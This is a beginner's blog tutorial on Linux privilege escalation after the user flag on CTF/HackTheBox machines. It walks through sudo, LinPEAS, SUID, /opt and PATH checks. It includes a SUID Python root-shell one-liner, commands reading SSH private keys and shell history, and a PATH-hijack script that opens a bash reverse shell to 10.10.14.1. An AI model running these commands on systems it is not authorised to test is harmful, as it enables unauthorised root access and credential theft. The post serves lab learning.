> ## Content Index > Fetch the complete content index at: https://niklas-heringer.com/llms.txt > Use this file to discover other available public pages before exploring further. # How to Proceed after the User Flag: My Beginner’s Priv Esc Flow - URL: https://niklas-heringer.com/penetration-testing/how-to-proceed-after-the-user-flag-my-beginners-priv-esc-flow/ - Published: 2025-05-13T06:21:00.000Z - Updated: 2025-11-15T21:13:22.000Z - Description: Getting user.txt is just the beginning. Here’s how I hunt for privilege escalation paths on Linux boxes; what I check, how I think, and why it still stumps me sometimes. - Author: Niklas Heringer - Tags: privilege-escalation, penetration-testing, ctf, linux-forensics, htb, cheatsheet Getting user.txt on a Linux box is great, but it’s only half way. Here’s what I actually do *after* the user flag, how I think through privilege escalation, and where I often still fumble (and learn). # Step 1: Quick Wins – `sudo -l` My first move after grabbing a shell or SSHing in: ```bash sudo -l ``` `sudo -l` shows which commands the current user can run with `sudo`, including any passwordless (`NOPASSWD`) rules. I’m looking for things like: - `NOPASSWD` rules - Full `ALL` rights - Scripts or binaries that can be run as root Sometimes it’s gold. For example: ```bash (ALL) NOPASSWD: /usr/bin/some-service ``` ➡ That means I can launch **`some-service` as root**, which spawns a shell. Something like that might've happened in an Easy Box this season.. --- # Step 2: Run LinPEAS, But *Actually Read* the Output Yes, I use automation. But LinPEAS is only useful if you *actually understand what it shows you*. ```bash /tmp/linpeas.sh | tee /tmp/peas.log ``` Some highlights I always check: | Section | What I Look For | | --------------------- | ------------------------------------------------ | | **SUDO** | NOPASSWD entries, weird rules | | **SUID Binaries** | Especially anything custom or weirdly placed | | **Interesting Files** | .bash\_history, .ssh, id\_rsa, anything in /opt/ | | **CRON Jobs** | Root-owned, writable, custom paths | | **PATH / Env** | Empty or writable PATH entries → possible hijack | | **Kernel & Exploits** | CVE matches I can google with ExploitDB | Use `less`, `grep`, or highlight manually; don’t just scroll, pretending that will get you anything. [See a full LinPEAS cheatsheet →](https://www.fo-sec.com/cheatsheet/linpeas?ref=niklas-heringer.com) --- # Step 3: Investigate SUID Binaries LinPEAS or manual: ```bash find / -perm -4000 -type f 2>/dev/null ``` I'm hunting for: - **Interpreter binaries** with SUID (`python`, `perl`, etc.) - Anything custom in weird places (`/opt/` is a big one!) ## Example: Python SUID Exploit If you see this: ```bash -rwsr-xr-x 1 root root 123456 /usr/bin/python3.8 ``` You can try: ```bash /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")' ``` ➡ If it works, you just got a **root shell via Python**. [More about this trick →](https://gtfobins.github.io/gtfobins/python/?ref=niklas-heringer.com) --- # Step 4: Check `/opt/` – Always! Don’t skip `/opt/`. It’s like the attic where devs throw random junk that somehow runs as root. ## **Why `/opt/` is suspicious:** - Scripts here might be run by cron or services as root - Often has custom code with no real logging or hardening - May contain writable files owned by root (!) ## Commands I use: ```bash find /opt -type f -exec ls -l {} \; find /opt -user root grep -r "/opt" /etc/cron* grep -r "/opt" /etc/systemd/system ``` If you see a script like: ```bash -rwxrwxrwx 1 root root /opt/update.sh ``` That’s a red flag. It might be wise trying to establish a [Shell](https://niklas-heringer.com/penetration-testing/introduction-to-shells/) with that. --- # Step 5: Dig Through Everything That Looks Like a Config ```bash cat ~/.bash_history cat ~/.ssh/id_rsa ls -la /home ``` I’m looking for: - Stored credentials - SSH keys - Misconfigured `.conf` files - Database creds (especially MySQL/Postgres) --- # Step 6: Environment Variables & PATH Hijacking Sometimes root runs a script that calls another command *without using its full path*. That’s a gift. If `$PATH` includes a directory **you can write to**, and the script calls `ls` or `cp` without `/bin/ls`, you can swap in a malicious binary and get code execution. ## What I Check ```bash echo $PATH ``` If you see something like: ```bash /home/user/bin:/usr/local/bin:/usr/bin:/bin ``` ➡ You’re probably fine. But if you see: ```bash /tmp:/home/user/bin:/usr/local/bin ``` Then maybe a root-owned cronjob/script will hit something in `/tmp`, and you can hijack it. --- # Exploit Example: PATH Hijack Let’s say a cronjob runs: ```bash #!/bin/bash backup ``` But doesn’t define a full path. You create your own malicious version: ```bash echo '#!/bin/bash' > /tmp/backup echo 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1' >> /tmp/backup chmod +x /tmp/backup export PATH=/tmp:$PATH ``` If root runs the script in this environment, it’ll execute **your** version. --- # Bonus Checks Also try: ```bash env cat /etc/environment ``` Look for: - `LD_PRELOAD` abuse - Weird aliases or exported functions - Empty or unusual `$PATH`, especially in root-owned scripts --- # If All Else Fails: Manual Thinking If none of the tools hand me root, I stop and ask: - What am I *allowed* to touch? - What does this system assume I *won’t* see? - Is there anything that feels custom, dirty, or sloppy? Sometimes it’s path hijacking. Sometimes it’s just a script that logs stuff as root and I can inject into it. Sometimes... I just give up and learn from the writeup 😅 --- ## 💬Thoughts Privilege escalation is the part of hacking that makes you grow. The foothold teaches you tools, the privesc teaches you *how to think*. I’m not great at it yet, but I’m building my checklist, trusting my instincts more, and messing up just a little bit less with each new box. --- Want a deep dive into one specific box like **UnderPass**? Let me know, I’ll write that one next. Or drop your favorite privesc trick in the comments 👇